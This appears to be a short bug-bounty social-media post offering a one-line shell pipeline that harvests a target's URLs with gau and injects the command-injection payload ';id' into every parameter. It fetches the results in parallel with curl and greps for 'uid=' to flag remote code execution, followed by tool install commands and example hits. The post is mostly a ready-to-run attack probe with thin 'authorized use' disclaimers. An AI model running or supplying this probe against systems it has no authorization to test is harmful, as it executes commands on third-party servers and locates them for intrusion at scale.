🚀 Automated RCE Detection Tool
Find Remote Code Execution vulnerabilities via Command Injection

gau <target> | grep -E "\?.*=" | qsreplace ";id" | xargs -I % -P 20 sh -c 'curl -s "%" | grep -q "uid=" && echo "Potential RCE: %"'

🔍 Command Breakdown:
• gau <target> - Gathers all known URLs from target
• grep -E "\?.*=" - Filters URLs with parameters
• qsreplace ";id" - Injects command injection payload
• xargs -I % -P 20 - Parallel testing (20 threads)
• curl -s "%" - Fetches each modified URL
• grep -q "uid=" - Detects successful command execution

📦 Required Tools:
gau - go install github.com/lc/gau/v2/cmd/gau@latest
qsreplace - go install github.com/tomnomnom/qsreplace@latest
curl - Built-in or apt install curl

⚠️ Important Notes:
• Use only on authorized targets
• Legal compliance required
• Manual verification needed for false positives
• Educational purpose only

🎯 Example Output:
Potential RCE: https://target.com/page.php?cmd=;id
Potential RCE: https://api.target.com/v1/user?input=;id

#RCE #CommandInjection #WebSecurity #BugBounty #CyberSecurity